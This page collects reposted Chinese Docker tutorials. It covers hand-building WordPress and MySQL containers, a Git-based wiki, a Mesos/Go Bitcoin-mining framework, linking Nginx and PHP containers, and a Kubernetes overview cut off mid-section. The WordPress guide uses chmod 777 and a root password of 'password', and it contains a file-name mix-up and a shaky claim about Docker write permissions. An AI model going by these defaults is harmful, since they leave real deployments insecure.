	Operating-system-level virtualization - Wikipedia

	User space - Wikipedia

	Basics – Docker, Containers, Hypervisors, CoreOS

	devicemapper - a storage backend based on Device Mapper

	Resizing Docker Containers with the Device Mapper plugin

	Network classifier cgroup
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 手动构建 WordPress 的 Docker 容器

作者：大舒

来源： 手动构建 WordPress 的 Docker 容器



                    

  原文来自 How to Manually Build Docker Containers for WordPress




前中本专栏已经介绍过 Docker 的基础知识，本文开始进行 Docker 实战：手动使用 Docker 构建 WordPress 容器。同时介绍一下 Docker 官方 MySQL 镜像的爬坑方法，同时演示 Docker 生产中常见的问题以及解决办法。


在我以前的文章中，我们已经介绍了 Docker 的基础知识和基础命令。当然，虽然我们已经介绍了这些知识，我们还没有使用它们做出有价值的东西。构建 WordPress 的 Docker 容器有多种方法，本文将会介绍手动构建容器。如果你还没有认识 Docker，可以戳这里。


设置 MySQL


数据库是 WordPress 的基础，本文使用 Docker Hub 来获取 MySQL 镜像。


Docker 官方已经构建了 MySQL 镜像。在使用 MySQL 镜像之前，请先读镜像手册。在写本文时，镜像的最新版本是 5.7。





按照通常的方法，使用 MySQL 镜像的方法如下：


docker run --name wordpressdb -d mysql:5.7






执行这条命令的时候，如果本机没有 MySQL 镜像，那么 Docker 会从 Docker Pull 先下载镜像。使用 --name 参数指定容器运行时的名字，使用 -d 参数指定再后台运行。


使用 docker ps 命令可以发现，并没有名叫 wordpressdb 的容器在后台运行，但是不应该这样啊。使用 docker logs wordpressdb 查看镜像日志：


error: database is uninitialized and MYSQL_ROOT_PASSWORD not set
  Did you forget to add -e MYSQL_ROOT_PASSWORD=... ?



那么问题出在哪儿？


我们运行了 MySQL，但是没有指明数据库的 root 密码，所以容器并不能运行。所以为了修正这个错误，我们需要删除容器 wordpressdb，然后重新建立容器。Docker 不允许两个容器使用相同的名字。


再次运行容器的时候我们用 -e 参数指定容器内的环境变量MYSQL_ROOT_PASSWORD:


docker run --name wordpressdb -e MYSQL_ROOT_PASSWORD=password -d mysql:5.7



再次运行 docker logs wordpressdb 的时候，我们会看到非常长的信息。实际上 MySQL 容器已经在后台运行了，运行 docker ps 也可以看到正在运行的容器 wordpressdb。


当然你也可以使用 MYSQL_DATABASE 参数指定运行容器之前就创建名为 wordpress 的数据库：


docker run --name wordpressdb -e MYSQL_ROOT_PASSWORD=password -e MYSQL_DATABASE=wordpress -d mysql:5.7



当然，MySQL 数据库还有其他的参数，例如指定创建用户和密码。当然，更多的用法就需要参考他们 官方的文档 了。


容器的 IP 会随启动而变化，需要使用 docker inspect --format='{{.NetworkSettings.IPAddress}}' wordpressdb 获取容器的 IP。


当然，Dockerfile 中有很多的容器构建信息。MySQL 基于 debian wheezy 镜像构建，然后启动 mysqld 命令。当使用这个容器的时候，其实只启动了 mysqld 命令。





现在我们已经有了 MySQL 容器，用户名 root，密码 password，数据库名称 wordpress。下一步就是构建 WordPress 了。


构建 WorePress 容器


这一步我们使用PHP 镜像，PHP 镜像镜像也有很多，我们使用官方提供的带有 Apache 的 php 镜像。


docker run --name wordpress php:5.6-apache



不加 -d 参数，容器便会在前台运行，也能看到应该由 docker logs 输出的数据。


使用 docker inspect --format='{{.NetworkSettings.IPAddress}}' wordpress 命令获取 wordpress 容器的 IP。本文是 172.17.0.35。


如果你直接访问这个 IP，会得到一个 403 的错误。因为容器中的网站目录在 /var/www/html，但是实际上目录中没有东西，所以 403 forbidden。


那么怎么将文件放入容器的那个文件夹？

第一步：宿主机创建文件夹，然后进入文件夹。

第二部：进入这个文件夹，创建 index.php 文件，文件内容是 <?php phpinfo(); ?>

第三部：使用命令启动容器：docker run --name wordpress -v "$PWD/":/var/www/html php:5.6-apache。


这样访问 wordpress 容器的 IP（因为是新容器，所以 IP 有变化），便会得到经典的 phpinfo 页面。


测试完成，我们的容器可以执行 php 文件。


将 wordpress 文件放入本文件夹，chmod 777，然后重新启动 wordpress 容器，但是会这么提示：


您的PHP似乎没有安装运行WordPress所必需的MySQL扩展。



官方 php 镜像并未提供 mysql 扩展，所以我们必须要自己手动写 Dockerfile 安装扩展：


FROM php:5.6-apache
# 使用 php:5.6-apache 镜像
RUN docker-php-ext-install mysqli
# 使用 docker-php-ext-install 命令安装 mysqli 扩展
CMD ["apache2-foreground"]
# 默认启动 apache2-foreground 命令



然后我们构建这个镜像，镜像名为 phpwithmysql。


docker build -t phpwithmysql .



-t 参数指定构建出的镜像的名称。. 表示使用本目录的 Dockerfile。


构建完成，便会得 phpwithmysql 镜像，tag 名为 latest。


再次启动 WordPress：


docker run --name wordpress -v "$PWD/":/var/www/html phpwithmysql



这次再使用 IP 访问你的 wordpress：





走到这一步，大部分的事情我们都做的差不多了，只有一个问题：

万一重启 wordpressdb 容器，数据库容器的 IP 变了怎么办？


Docker 提供了连接参数，让我们可以将一个容器连接到另一个容器。


docker run --name wordpress --link wordpressdb:mysql -v "$PWD/":/var/www/html phpwithmysql



新参数是 --link，作用是将 wordpressdb 连接到 wordpress 容器内，具体为在 wordpress 容器内的 hosts 文件中增加 mysql 172.17.0.X。
172.17.0.X 为 wordpressdb 的 IP。

除此之外，还会修改 wordpress 的环境变量。


因此，安装的时候只需指定数据库主机为 mysql 即可。





但是还有点蛋疼的问题：


wordpress 并不能上传文件，也不能安装主题。因为 wordpress 容器内的 apache 对文件系统没有写权限，所以我们还得调整 phpwithmysql 镜像的 Dockerfile：


FROM php:5.6-apache
RUN docker-php-ext-install mysqli
COPY entrypoint.sh /entrypoint.sh 
RUN chmod 777 /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
CMD ["apache2-foreground"]



接下来创建 encrypting.sh 文件：


#!/bin/bash
chown -R www-data:www-data .
exec "$@"



这是官方 WordPress 镜像构建方法的简化版，但是已经解决了文件系统的写权限问题。

现在构建新的镜像：


docker build -t phpwithmysql:v2 .



删除旧容器并重启：


docker rm -f wordpress
docker rm -f wordpressdb
docker run --name wordpressdb -e MYSQL_ROOT_PASSWORD=password -e MYSQL_DATABASE=wordpress -d mysql:5.7
docker run --name wordpress --link wordpressdb:mysql -v "$PWD/":/var/www/html phpwithmysql:v2



最后，删除 wp-config.php 文件。


这一次访问 wordpress 的 IP，重新安装 WordPress，便可构建完成。


构建过程可能有些麻烦，所以 WordPress 有官方的各种语言的 Docker 镜像。Docker 不允许容器内的应用对宿主机文件系统有写权限，这到底是好是坏？我觉得应该是好事。我们可以创立一个数据容器专门负责放文件，这样可以实现架构的多样化。但是对于现有架构的应用例如 WordPress，我们只能如此变通。


最终调整


最后一步大概很多人猜得到，就是万一关机了怎么办？wordpress 容器 IP 变化了怎么办？要知道，WordPress 没有配置的情况下爱，是使用 IP 保存站点 URL 的，所以我们必须要这样修改 wp-config.php 文件：


define('WP_HOME',$_SERVER['SERVER_ADDR']);
define('WP_SITEURL',$_SERVER['SERVER_ADDR']);



要注意的是，在 wp-config.php 文件中改变的设置，是无法再在 WordPress 的仪表盘中再改动的。


结论


本文中我们手动使用 Docker 构建了 WordPress 镜像，但是使用了一个非常曲折的方法。当然，还有更简便的方法，因为 Docker 官方已经构建了 WordPress 镜像。有了官方镜像，我们手动构建的镜像其实意义不大了。不过，通过调试，我们演示了 Docker 可能出现的常见问题，例如 IP 变化，以及解决办法（--link）等。


 Gitit Bigger: 最好的个人Wiki/文档方案（Git、Markdown、Bootstrap、Ace、Docker）

作者：shajiquan

来源： Gitit Bigger: 最好的个人Wiki/文档方案（Git、Markdown、Bootstrap、Ace、Docker）



                    
Gitit Bigger

Gitit Bigger: Git and Markdown based wiki, Bootstrap, ace Editor, syntax highlight and docker deploy support.

基于 Git 和 Markdown 的超棒的 Wiki 系统，Bootstrap、Ace 编辑器等增强，支持 Docker 部署。

开始 Start Bigger

假定你已安装 Git 和 Gitit



	普通版




git clone https://github.com/shajiquan/gitit-bigger ~/workspace/gitit;
cd ~/workspace/gitit;
cp sample.gitit.conf my-gitit.conf;
./run/run.sh start;

	Docker 版




docker run -d --name gitit -p 7500:7500 shajiquan/gitit;

访问：http://127.0.0.1:7500

Demo & Screeenshots

Demos


	Gitit Bigger：http://wiki.shajiquan.com/gitit-bigger (Read Only)


	Gitit 官方：http://gitit.net




截图 Screenshots

查看 View


	view.png


	view-ipad-mini.png


	view-iphone6.png




编辑 Edit


	edit.png


	edit-ipad-mini.png


	edit-iphone6.png




Gitit 主要特性


	无数据库


	Git 版本控制


	Markdown 格式


	
Wiki 化：


	子目录，无限目录（这也是我抛弃其他一些类似 wiki 系统的原因）


	中文目录、中文标题、中文分类


	完美支持中文搜索


	支持分类


	支持自定义标题






	代码高亮


	支持公式等（我基本不用）


	导出 epub 等（基于 pandoc）




更多关于 Gitit 的安装、部署、优化的中文介绍和说明，请见:


	gitit_base.md 简介、安装、部署


	gitit_config.md 配置




Gitit Bigger VS Gitit


	Bootstrap 模板


	Ace Editor


	
Ace Editor 的编辑模式已设为 markdown。


	支持代码高亮


	搜索、替换（cmd+option+f）


	Tab 缩进、恢复（tab、shift+tab）


	快捷键


	...






	采用配置文件方式启动，多个实例轻松共享资源


	支持自定义 Ace 编辑器启用/禁用、模式、样式等配置


	支持 Markdown 模式下快捷键


	数学公式：支持 MathJax 启用/禁用，自定义 MathJax 源


	代码高亮：支持使用 highlight.js 高亮代码 - Gitit 的高亮需要服务端支持


	增加启动、部分、自动备份脚本或帮助




注意：wikidata 仓库

请注意检查你的 wikidata/ 目录的 git 配置。请注意：


	wikidata 文件夹是一个本地仓库，所有的 wiki 页面都将保存到此处；


	Gitit 启动时，会检查这个文件夹是否存在，如果不存在，Gitit 将会创建它，并初始化它为一个本地仓库


	只有提交到仓库里的文件，才会被 Gitit 添加到 wiki 中。


	
如果你想要将此仓库与你的远程仓库绑定、同步：你需要：


	clone 你的 wiki 仓库到 wikidata 文件夹：git clone your-wikidata.git ./wikidata，或者：


	运行 git remote 相关命令，使 wikidata 文件夹和你的远程仓库连接起来；








# 如果  wikidata 文件夹尚不存在
cd ~/workspace/gitit
git clone your-wikidata.git ./wikidata
git branch --set-upstream-to=origin/master master
# 启动 gitit 服务: ./run/run.sh start

# 如果 wikidata 已经存在，但并没有和你的远程仓库绑定
cd wikidata
git remote add origin path/to/your-wikidata.git
git branch --set-upstream-to=origin/master master
# 启动 gitit 服务: ./run/run.sh start

配置、自定义 JS/CSS

Gitit Bigger 提供一定程度的配置。

你可以通过在 templates/page_more_scripts.st 里定义 BIGGER_SETTINGS_APPEND 对象来覆盖默认配置。

包括：


	ace 编辑器


	markdown


	MathJax 数学公式插件


	highlightjs 代码高亮


	Google Analytics 统计




详情见：gitit_bigger_config.md

工具 Utils


	启动控制


	批量修改扩展名


	自动备份辅助




详情见：- gitit_bigger_utils.md

通过 Shell 编辑 wiki

不通过 web界面，也可以操作我们的 Gitit Wiki。背景：


	wikidata: wiki pages 的仓库


	只有提交到仓库里的文件，才会被 Gitit 添加到 wiki 中。





# 进入 wikidata 目录
cd /path/to/your/wikidata

# 新增文件并输入一些字符串
touch new_page.md
echo "hello shajiquan" >> new_page.md

# 添加新文件到仓库
git add new_pge.md
git commit -m "add new_page.md file"

# 更新文件并提交到仓库
echo "new line" >> old_page.md
git add old_page.md
git commit -m "update old_page.md "

# 推送到远程仓库
git push origin master

多个实例

通过配置文件的方式，可以轻松运行多个 Gitit 实例。除 wiki.shajiquan.com 外，我也运行了另外的实例来做私人笔记。


	cp sample.gitit.conf my-gitit-private.conf;


	更新 my-gitit-private.conf 里的相关配置，尤其是：端口、wikidata 目录（详见gitit_config.md 配置）


	启动新实例：gitit -f my-gitit-private.conf




注意


	如果 my-gitit.conf 和 my-gitit-private.conf 这两个实例使用不同的用户，可能会造成 cookies 的混乱。


	在服务端时，可考虑使用 nginx 做反向代理，为每个实例绑定一个二级域名。


	在本地时，可以用 localhost 和 127.0.0.1 一类的来处理 cookie 域问题。




Docs


	Gitit 简介、安装、部署


	Gitit 配置项介绍


	Gitit-Bigger-Docker 版介绍


	Gitit-Bigger 定制说明


	Gitit-Bigger 工具.md




反馈、建议、联系


	Github Issues：https://github.com/shajiquan/gitit-bigger/issues


	Email: shajiquan@gmail.com


	QQ: 2848559858




ChangeLog

v0.1.2

	对内容区的图片做了响应式处理，不会再撑烂页面




v0.1.1


	重写文档


	增加一些小配置项




v0.1beta


	新增配置方式；


	修复 MathJax JS 文件引入错误；




v0.0.0.1

	初步实现，整合 ace、markdown、highlightjs 等




Links


	Github：https://github.com/shajiquan/gitit-bigger


	DockreHub：https://hub.docker.com/r/shajiquan/gitit


	Demo: http://wiki.shajiquan.com/gitit-bigger (Read Only)


	gitit official site: http://gitit.net


	gitit official github: https://github.com/jgm/gitit


	在Archlinux上部署gitit Wiki: http://www.360doc.com/content/12/0518/21/21412_211977928.shtml


	Gitit - git based wiki: http://walkingice.blogspot.hk/2011/11/gitit-git-based-wiki.html


	Hyzual/docker-gitit: https://github.com/Hyzual/docker-gitit


	Gitit Bootstrap 模板：Changaco/gitit-bootstrap


	Gitit ace editor 支持 Getting the Ace editor to work with gitit





 通过 Mesos、Docker 和 Go，使用 300 行代码创建一个分布式系统

作者：OneAPM蓝海讯通

来源： 通过 Mesos、Docker 和 Go，使用 300 行代码创建一个分布式系统



                    
【摘要】虽然 Docker 和 Mesos 已成为不折不扣的 Buzzwords ，但是对于大部分人来说它们仍然是陌生的，下面我们就一起领略 Mesos 、Docker 和 Go 配合带来的强大破坏力，如何通过 300 行代码打造一个比特币开采系统。


时下，对于大部分 IT 玩家来说， Docker 和 Mesos 都是熟悉和陌生的：熟悉在于这两个词无疑已成为大家讨论的焦点，而陌生在于这两个技术并未在生产环境得到广泛使用，因此很多人仍然不知道它们究竟有什么优势，或者能干什么。近日， John Walter 在 Dzone 上撰文 Creating a Distributed System in 300 Lines With Mesos, Docker, and Go，讲述了 Mesos、Docker 和 Go 配合带来的强大破坏力，本文由 OneAPM 工程师编译整理。


诚然，构建一个分布式系统是很困难的，它需要可扩展性、容错性、高可用性、一致性、可伸缩以及高效。为了达到这些目的，分布式系统需要很多复杂的组件以一种复杂的方式协同工作。例如，Apache Hadoop 在大型集群上并行处理 TB 级别的数据集时，需要依赖有着高容错的文件系统（ HDFS ）来达到高吞吐量。


在之前，每一个新的分布式系统，例如 Hadoop 和 Cassandra ，都需要构建自己的底层架构，包括消息处理、存储、网络、容错性和可伸缩性。庆幸的是，像 Apache Mesos 这样的系统，通过给分布式系统的关键构建模块提供类似操作系统的管理服务，简化了构建和管理分布式系统的任务。Mesos 抽离了 CPU 、存储和其它计算资源，因此开发者开发分布式应用程序时能够将整个数据中心集群当做一台巨型机对待。


构建在 Mesos 上的应用程序被称为框架，它们能解决很多问题： Apache Spark，一种流行的集群式数据分析工具；Chronos ，一个类似 cron 的具有容错性的分布式 scheduler ，这是两个构建在 Mesos 上的框架的例子。构建框架可以使用多种语言，包括 C++，Go，Python，Java，Haskell 和 Scala。


在分布式系统用例上，比特币开采就是一个很好的例子。比特币将为生成 acceptable hash 的挑战转为验证一块事务的可靠性。可能需要几十年，单台笔记本电脑挖一块可能需要花费超过 150 年。结果是，有许多的“采矿池”允许采矿者将他们的计算资源联合起来以加快挖矿速度。Mesosphere 的一个实习生， Derek ，写了一个比特币开采框架（https://github.com/derekchiang/Mesos-Bitcoin-Miner），利用集群资源的优势来做同样的事情。在接下来的内容中，会以他的代码为例。


1 个 Mesos 框架有 1 个 scheduler 和 1 个 executor 组成。scheduler 和 Mesos master 通信并决定运行什么任务，而 executor 运行在 slaves 上面，执行实际任务。大多数的框架实现了自己的 scheduler，并使用 1 个由 Mesos 提供的标准 executors 。当然，框架也可以自己定制 executor 。在这个例子中即会编写定制的 scheduler，并使用标准命令执行器（ executor ）运行包含我们比特币服务的 Docker 镜像。


对这里的 scheduler 来说，需要运行的有两种任务—— one miner server task and multiple miner worker tasks。 server 会和一个比特币采矿池通信，并给每个 worker 分配 blocks 。Worker 会努力工作，即开采比特币。


任务实际上被封装在 executor 框架中，因此任务运行意味着告诉 Mesos master 在其中一个 slave 上面启动一个 executor 。由于这里使用的是标准命令执行器（executor），因此可以指定任务是二进制可执行文件、bash 脚本或者其他命令。由于 Mesos 支持 Docker，因此在本例中将使用可执行的 Docker 镜像。Docker 是这样一种技术，它允许你将应用程序和它运行时需要的依赖一起打包。


为了在 Mesos 中使用 Docker 镜像，这里需要在 Docker registry 中注册它们的名称：


const (
    MinerServerDockerImage = "derekchiang/p2pool"
    MinerDaemonDockerImage = "derekchiang/cpuminer"
)



然后定义一个常量，指定每个任务所需资源：


const (
    MemPerDaemonTask = 128  // mining shouldn't be    memory-intensive
    MemPerServerTask = 256
    CPUPerServerTask = 1    // a miner server does not use much     CPU
)



现在定义一个真正的 scheduler ，对其跟踪，并确保其正确运行需要的状态：


type MinerScheduler struct { 
    // bitcoind RPC credentials
    bitcoindAddr string
    rpcUser      string
    rpcPass      string
    // mutable state
    minerServerRunning  bool
    minerServerHostname string 
    minerServerPort     int    // the port that miner daemons 
                               // connect to
    // unique task ids
    tasksLaunched        int
    currentDaemonTaskIDs []*mesos.TaskID
}



这个 scheduler 必须实现下面的接口：


type Scheduler interface {
    Registered(SchedulerDriver, *mesos.FrameworkID,     *mesos.MasterInfo)
    Reregistered(SchedulerDriver, *mesos.MasterInfo)
    Disconnected(SchedulerDriver)
    ResourceOffers(SchedulerDriver, []*mesos.Offer)
    OfferRescinded(SchedulerDriver, *mesos.OfferID)
    StatusUpdate(SchedulerDriver, *mesos.TaskStatus)
    FrameworkMessage(SchedulerDriver, *mesos.ExecutorID, 
                     *mesos.SlaveID, string)
    SlaveLost(SchedulerDriver, *mesos.SlaveID)
    ExecutorLost(SchedulerDriver, *mesos.ExecutorID,   *mesos.SlaveID, 
                 int)
    Error(SchedulerDriver, string)
}



现在一起看一个回调函数：


func (s *MinerScheduler) Registered(_ sched.SchedulerDriver, 
      frameworkId *mesos.FrameworkID, masterInfo *mesos.MasterInfo) {
    log.Infoln("Framework registered with Master ", masterInfo)
}
func (s *MinerScheduler) Reregistered(_ sched.SchedulerDriver, 
      masterInfo *mesos.MasterInfo) {
    log.Infoln("Framework Re-Registered with Master ",  masterInfo)
}
func (s *MinerScheduler) Disconnected(sched.SchedulerDriver) {
    log.Infoln("Framework disconnected with Master")
}



Registered 在 scheduler 成功向 Mesos master 注册之后被调用。


Reregistered 在 scheduler 与 Mesos master 断开连接并且再次注册时被调用，例如，在 master 重启的时候。


Disconnected 在 scheduler 与 Mesos master 断开连接时被调用。这个在 master 挂了的时候会发生。


目前为止，这里仅仅在回调函数中打印了日志信息，因为对于一个像这样的简单框架，大多数回调函数可以空在那里。然而，下一个回调函数就是每一个框架的核心，必须要认真的编写。


ResourceOffers 在 scheduler 从 master 那里得到一个 offer 的时候被调用。每一个 offer 包含一个集群上可以给框架使用的资源列表。资源通常包括 CPU 、内存、端口和磁盘。一个框架可以使用它提供的一些资源、所有资源或者一点资源都不给用。


针对每一个 offer ，现在期望聚集所有的提供的资源并决定是否需要发布一个新的 server 任务或者一个新的 worker 任务。这里可以向每个 offer 发送尽可能多的任务以测试最大容量，但是由于开采比特币是依赖 CPU 的，所以这里每个 offer 运行一个开采者任务并使用所有可用的 CPU 资源。


for i, offer := range offers {
    // … Gather resource being offered and do setup
    if !s.minerServerRunning && mems >= MemPerServerTask &&
            cpus >= CPUPerServerTask && ports >= 2 {
        // … Launch a server task since no server is running and     we 
        // have resources to launch it.
    } else if s.minerServerRunning && mems >= MemPerDaemonTask {
        // … Launch a miner since a server is running and we have     mem 
        // to launch one.
    }
}



针对每个任务都需要创建一个对应的 TaskInfo message ，它包含了运行这个任务需要的信息。


s.tasksLaunched++
taskID = &mesos.TaskID {
    Value: proto.String("miner-server-" + 
                        strconv.Itoa(s.tasksLaunched)),
}



Task IDs 由框架决定，并且每个框架必须是唯一的。


containerType := mesos.ContainerInfo_DOCKER
task = &mesos.TaskInfo {
    Name: proto.String("task-" + taskID.GetValue()),
    TaskId: taskID,
    SlaveId: offer.SlaveId,
    Container: &mesos.ContainerInfo {
        Type: &containerType,
        Docker: &mesos.ContainerInfo_DockerInfo {
            Image: proto.String(MinerServerDockerImage),
        },
    },
    Command: &mesos.CommandInfo {
        Shell: proto.Bool(false),
        Arguments: []string {
            // these arguments will be passed to run_p2pool.py
            "--bitcoind-address", s.bitcoindAddr,
            "--p2pool-port", strconv.Itoa(int(p2poolPort)),
            "-w", strconv.Itoa(int(workerPort)),
            s.rpcUser, s.rpcPass,
        },
    },
    Resources: []*mesos.Resource {
        util.NewScalarResource("cpus", CPUPerServerTask),
        util.NewScalarResource("mem", MemPerServerTask),
    },
}



TaskInfo message 指定了一些关于任务的重要元数据信息，它允许 Mesos 节点运行 Docker 容器，特别会指定 name、task ID、container information 以及一些需要给容器传递的参数。这里也会指定任务需要的资源。


现在 TaskInfo 已经被构建好，因此任务可以这样运行：


driver.LaunchTasks([]*mesos.OfferID{offer.Id}, tasks,     &mesos.Filters{RefuseSeconds: proto.Float64(1)})



在框架中，需要处理的最后一件事情是当开采者 server 关闭时会发生什么。这里可以利用 StatusUpdate 函数来处理。


在一个任务的生命周期中，针对不同的阶段有不同类型的状态更新。对这个框架来说，想要确保的是如果开采者 server 由于某种原因失败，系统会 Kill 所有开采者 worker 以避免浪费资源。这里是相关的代码：


if strings.Contains(status.GetTaskId().GetValue(), "server") &&
    (status.GetState() == mesos.TaskState_TASK_LOST ||
        status.GetState() == mesos.TaskState_TASK_KILLED ||
        status.GetState() == mesos.TaskState_TASK_FINISHED ||
        status.GetState() == mesos.TaskState_TASK_ERROR ||
        status.GetState() == mesos.TaskState_TASK_FAILED) {
    s.minerServerRunning = false
    // kill all tasks
    for _, taskID := range s.currentDaemonTaskIDs {
        _, err := driver.KillTask(taskID)
        if err != nil {
            log.Errorf("Failed to kill task %s", taskID)
        }
    }
    s.currentDaemonTaskIDs = make([]*mesos.TaskID, 0)
}



万事大吉！通过努力，这里在 Apache Mesos 上建立一个正常工作的分布式比特币开采框架，它只用了大约 300 行 GO 代码。这证明了使用 Mesos 框架的 API 编写分布式系统是多么快速和简单。


原文链接：Creating a Distributed System in 300 Lines With Mesos, Docker, and Go


本文由OneAPM工程师编译 ，想阅读更多技术文章，请访问OneAPM官方技术博客。


 Docker多容器连接-以Nginx+PHP为例

作者：管宜尧

来源： Docker多容器连接-以Nginx+PHP为例



                    
Docker提供了多个容器直接访问的方法，最简单的方式是直接使用端口映射-p参数指定映射的端口或者-P映射所有端口，多个容器直接通过网络端口进行访问。


但网络端口映射方式并不是Docker中连接多个容器的唯一方式，还可以使用Docker的连接系统(--link)连接多个容器，当容器连接到一起时，接受者容器就可以看到源容器的信息。


建立容器之间的连接 - 以Nginx+PHP为例


在容器直接建立连接要使用--link选项


--link <name or id>:alias



这里我们通过建立一个 nginx/php-fpm 的服务，示例一下如何在两个或者多个容器之间建立连接。


要建立容器连接的话，就要依赖容器的名字了，使用--name指定源容器的名字为phpfpm


docker run --name phpfpm -d -v /Users/mylxsw/codes/php:/app php:5.6-fpm



接下来创建nginx容器，并且连接到phpfpm容器上去


docker run --name nginx_server -d -p 80:80 --link phpfpm:phpfpm -v /Users/mylxsw/Dockers/php/nginx.conf:/etc/nginx/nginx.conf --volumes-from phpfpm  nginx



这里通过--link选项指定了要连接的容器是phpfpm，并且使用--volumes-from phpfpm将phpfpm容器挂载的卷也挂载到了nginx容器上，另外，这里使用自定义的nginx配置文件（nginx.conf）覆盖了原先的配置，新的 nginx.conf 内容如下：


...
root   /app; # 这里设置了项目挂载的容器的根目录

location ~ \.php$ {
    fastcgi_pass   phpfpm:9000;# phpfpm访问地址
...



需要注意的是，在该配置文件中设置了服务器的根目录(root)为/app目录，也就是我们挂载的目录，另外是phpfpm的配置，我们将fastcgi_pass的值从127.0.0.1:9000改为了phpfpm:9000，这里的phpfpm是域名，在nginx容器的/etc/hosts文件中自动配置为phpfpm容器的访问IP。


容器互通信息


建立两个容器之间的连接之后，在接收容器（Recipient）中必然会需要访问源容器（Source）的资源，我们在为容器建立连接时，源容器在创建时并没有使用-p/-P指定要暴露出来的端口，因此如何访问源容器的信息呢？


为了可以让接收容器能够访问源容器的信息，Docker提供了两种方式：



	环境变量

	/etc/hosts文件



环境变量


Docker在连接容器的时候，会根据--link提供的参数自动的在接收者容器中创建一些环境变量，包括源容器的Dockerfile中使用ENV命令设置的环境变量和源容器启动时(docker run)，使用-e或者--env， --env-file参数指定的环境变量。


主要包含以下环境变量，这里假设alias=webdb。


<alias>_NAME
<name>_PORT_<port>_<protocol>
<prefix>_ADDR
<prefix>_PORT
<prefix>_PROTO



例如:


$ docker run  -i -t --rm --link phpfpm:php php:5.6-fpm env
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=e5973c0d639f
TERM=xterm
PHP_PORT=tcp://172.17.0.74:9000
PHP_PORT_9000_TCP=tcp://172.17.0.74:9000
PHP_PORT_9000_TCP_ADDR=172.17.0.74
PHP_PORT_9000_TCP_PORT=9000
PHP_PORT_9000_TCP_PROTO=tcp
PHP_NAME=/tender_banach/php
PHP_ENV_PHP_INI_DIR=/usr/local/etc/php
PHP_ENV_GPG_KEYS=6E4F6AB321FDC07F2C332E3AC2BF0BC433CFC8B3 0BD78B5F97500D450838F95DFE857D9A90D90EC1
PHP_ENV_PHP_VERSION=5.6.9
PHP_INI_DIR=/usr/local/etc/php
PHP_EXTRA_CONFIGURE_ARGS=--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data
GPG_KEYS=6E4F6AB321FDC07F2C332E3AC2BF0BC433CFC8B3 0BD78B5F97500D450838F95DFE857D9A90D90EC1
PHP_VERSION=5.6.9
HOME=/root



上述例子中，指定了容器的别名为php，因此所有环境变量都是以PHP_开头。



  注意的是，如果源容器重启，接收容器中的环境变量信息并不会自动更新，因此，如果要使用源容器的IP地址，请使用/etc/hosts中配置的主机信息。




/etc/hosts文件


除了环境变量之外，Docker也在接收容器的/etc/hosts文件中更新了hosts信息。


$ docker run  -i -t --rm --link phpfpm:php php:5.6-fpm /bin/bash
root@4678acd72dca:/var/www/html#
root@4678acd72dca:/var/www/html# cat /etc/hosts
172.17.0.77 4678acd72dca
...
172.17.0.74 php f81b2615a6a8 phpfpm



从上可以看出，在接收容器的hosts文件中增加了两条额外的信息，本机IP和别名以及源容器的IP和别名(php)。


与环境变量不同的是，如果源容器重启了，接收容器中/etc/hosts中的信息会自动更新。




参考:


Linking Containers Together


How can I use environment variables in Nginx.conf


 开源容器集群管理系统Kubernetes架构及组件介绍

作者：seanlook

来源： 开源容器集群管理系统Kubernetes架构及组件介绍



                    
本文来源于Infoq的一篇文章（见参考部分），并在难懂的地方自己理解的基础上做了修改。实际在ubuntu上部署 kubernetes 操作另见 文章 。



  Together we will ensure that Kubernetes is a strong and open container management framework for any application and in any environment, whether in a private, public or hybrid cloud.  --Urs Hölzle, Google




Kubernetes 作为Docker生态圈中重要一员，是Google多年大规模容器管理技术的开源版本，是产线实践经验的最佳表现。如Urs Hölzle所说，无论是公有云还是私有云甚至混合云，Kubernetes将作为一个为任何应用，任何环境的容器管理框架无处不在。正因为如此，目前受到各大巨头及初创公司的青睐，如Microsoft、VMWare、Red Hat、CoreOS、Mesos等，纷纷加入给Kubernetes贡献代码。随着Kubernetes社区及各大厂商的不断改进、发展，Kuberentes将成为容器管理领域的领导者。


接下来我们一起探索Kubernetes是什么、能做什么以及怎么做。


1. 什么是Kubernetes


Kubernetes是Google开源的容器集群管理系统，使用Golang开发，其提供应用部署、维护、扩展机制等功能，利用Kubernetes能方便地管理跨机器运行容器化的应用，其主要功能如下：



	使用Docker对应用程序包装(package)、实例化(instantiate)、运行(run)。

	以集群的方式运行、管理跨机器的容器。

	解决Docker跨机器容器之间的通讯问题。

	Kubernetes的自我修复机制使得容器集群总是运行在用户期望的状态。



当前Kubernetes支持GCE、vShpere、CoreOS、OpenShift、Azure等平台，除此之外，也可以直接运行在物理机上。


这个官方给出的完整的架构图：（可放大看）





2. Kubernetes的主要概念


2.1 Pods


在Kubernetes系统中，调度的最小颗粒不是单纯的容器，而是抽象成一个Pod，Pod是一个可以被创建、销毁、调度、管理的最小的部署单元。把相关的一个或多个容器（Container）构成一个Pod，通常Pod里的容器运行相同的应用。Pod包含的容器运行在同一个Minion(Host)上，看作一个统一管理单元，共享相同的volumes和network namespace/IP和Port空间。




2.2 Services


Services也是Kubernetes的基本操作单元，是真实应用服务的抽象，每一个服务后面都有很多对应的容器来支持，通过Proxy的port和服务selector决定服务请求传递给后端提供服务的容器，对外表现为一个单一访问地址，外部不需要了解后端如何运行，这给扩展或维护后端带来很大的好处。


这一点github上的官网文档services.md讲的特别清楚。


2.3 Replication Controllers


Replication Controller，理解成更复杂形式的pods，它确保任何时候Kubernetes集群中有指定数量的pod副本(replicas)在运行，如果少于指定数量的pod副本(replicas)，Replication Controller会启动新的Container，反之会杀死多余的以保证数量不变。Replication Controller使用预先定义的pod模板创建pods，一旦创建成功，pod 模板和创建的pods没有任何关联，可以修改 pod 模板而不会对已创建pods有任何影响，也可以直接更新通过Replication Controller创建的pods。对于利用 pod 模板创建的pods，Replication Controller根据 label selector 来关联，通过修改pods的label可以删除对应的pods。Replication Controller主要有如下用法：


Rescheduling

如上所述，Replication Controller会确保Kubernetes集群中指定的pod副本(replicas)在运行， 即使在节点出错时。


Scaling

通过修改Replication Controller的副本(replicas)数量来水平扩展或者缩小运行的pods。


Rolling updates

Replication Controller的设计原则使得可以一个一个地替换pods来滚动更新（rolling updates）服务。


Multiple release tracks

如果需要在系统中运行multiple release的服务，Replication Controller使用labels来区分multiple release tracks。


以上三个概念便是用户可操作的REST对象。Kubernetes以RESTfull API形式开放的接口来处理。


2.4 Labels


